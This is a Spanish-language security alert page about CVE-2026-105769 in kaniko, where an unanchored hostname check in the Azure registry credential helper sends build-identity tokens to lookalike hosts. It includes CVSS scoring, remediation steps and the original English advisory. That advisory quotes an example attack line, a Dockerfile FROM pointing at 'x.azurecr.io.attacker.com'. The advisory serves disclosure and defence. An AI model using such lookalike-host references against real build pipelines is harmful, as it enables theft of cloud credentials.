Saltar al contenido
DUPIN
ALERTAS · EN VIVO
Contacto

VULNERABILIDADDetectada 02 NOV · 14:31

CVE-2026-105769 Exposición de tokens de Azure Entra ID a hosts falsos de ACR en kaniko

kaniko antes de 1.25.20 usa el helper docker-credential-acr-env, que decide si un host es un registro ACR con una expresión regular no anclada, por lo que acepta cualquier nombre que contenga .azurecr.io, .azurecr.cn, .azurecr.de o .azurecr.us. Un Dockerfile que referencia una imagen en un host parecido hace que el helper obtenga un token de la identidad de Azure de la compilación y lo envíe al host controlado por el atacante.

9.3CRÍTICA

CVSS 3.1

  • Probabilidad de explotación · EPSS del 09/110,2 % · percentil 9
  • Explotada activamenteNo confirmada
  • Exploit públicoNo conocido

Afectados

  • chainguard kaniko

    hasta antes de 1.25.20

Qué hacer

  1. Verificá si usás kaniko y en qué versión.
  2. Actualizá a la versión corregida que indique el fabricante en su aviso o aplicá su mitigación.
  3. Revisá registros y accesos de los sistemas expuestos para descartar un uso previo.

Calculadora CVSS

CVSS 3.1 · 9.3 CRÍTICA

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

  • Vector de ataqueRed
  • Complejidad del ataqueBaja
  • Privilegios requeridosNinguno
  • Interacción del usuarioRequerida
  • AlcanceCambiado
  • ConfidencialidadAlta
  • IntegridadAlta
  • DisponibilidadNinguna

Descripción original

kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.

Referencias (5)

Resumen traducido automáticamente de la descripción original. Fuente: Nureq Monitor. Cómo funciona.

DUPIN · CONTACTO

Contanos tu caso

El mensaje ya va armado: podés cambiarlo.

También podés escribir a [email protected]. Usamos tus datos solo para responderte.